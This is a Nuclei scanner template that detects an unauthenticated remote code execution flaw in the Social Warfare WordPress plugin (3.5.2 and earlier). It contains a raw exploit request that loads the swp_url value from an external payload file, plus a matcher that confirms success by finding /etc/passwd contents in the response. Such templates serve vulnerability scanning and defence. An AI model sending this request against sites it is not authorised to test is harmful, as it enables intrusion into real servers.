id: wp-social-warfare-rce

info:
  name: Social Warfare <= 3.5.2 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Unauthenticated remote code execution has been discovered in functionality that handles settings import.
  remediation: Fixed in version 3.5.3
  reference:
    - https://wpscan.com/vulnerability/9259
    - https://wordpress.org/plugins/social-warfare/
  classification:
    cpe: cpe:2.3:a:warfareplugins:social_warfare:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: warfareplugins
    product: social_warfare
    publicwww-query: "/wp-content/plugins/social-warfare/"
  tags: wordpress,wpscan,wp-plugin,wp,social-warfare,rce,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url={{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path: helpers/payloads/wp-social-warfare-rce.txt

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: body
        words:
          - 'No changes made'

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100b6f70dcdf81048f84f63ff3d255d8a63d3d746902296af8f6fcd73e9e6a67cf5022068e2fc8523ec48baef34d2619c0361ceab239a1c09cb0a72df188e700eebe76d:922c64590222798bb761d5b6d8e72950